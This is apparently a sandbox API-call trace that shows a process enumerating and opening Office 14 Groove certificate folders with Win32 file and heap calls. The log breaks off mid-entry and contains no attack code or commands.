GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.458] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0078.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.458] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0078.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.458] NtClose (Handle=0x164) returned 0x0 [0078.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac55e0) returned 1 [0078.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac55e0 [0078.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac56e8 [0078.458] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0078.459] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.459] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="")) returned 1 [0078.459] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="")) returned 1 [0078.459] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1 [0078.459] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0 [0078.459] GetLastError () returned 0x12 [0078.459] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9140 [0078.459] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.459] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.459] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="")) returned 1 [0078.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac57f0 [0078.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.459] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.464] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.465] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.465] NtClose (Handle=0x164) returned 0x0 [0078.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac58f8) returned 1 [0078.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5a00 [0078.465] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.466] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.466] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="")) returned 1 [0078.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5b08 [0078.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfc90 [0078.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5c10 [0078.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.466] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="")) returned 0 [0078.467] GetLastError () returned 0x12 [0078.467] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0078.467] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.467] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.467] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="")) returned 1 [0078.467] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="")) returned 0 [0078.467] GetLastError () returned 0x12 [0078.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac5a00) returned 1 [0078.467] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0078.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac5b08) returned 1 [0078.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac58f8) returned 1 [0078.467] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="")) returned 1 [0078.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0078.503] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.504] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.504] NtClose (Handle=0x168) returned 0x0 [0078.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac58f8) returned 1 [0078.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5b08 [0078.505] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0078.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="")) returned 1 [0078.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5a00 [0078.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfcb0 [0078.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5d18 [0078.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="")) returned 0 [0078.506] GetLastError () returned 0x12 [0078.506] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.506] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="")) returned 1 [0078.506] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="")) returned 0 [0078.506] GetLastError () returned 0x12 [0078.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac5b08) returned 1 [0078.506] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac5a00) returned 1 [0078.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac58f8) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1 [0078.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.507] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.507] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.507] NtClose (Handle=0x164) returned 0x0 [0078.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac58f8) returned 1 [0078.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5a00 [0078.508] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.508] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, 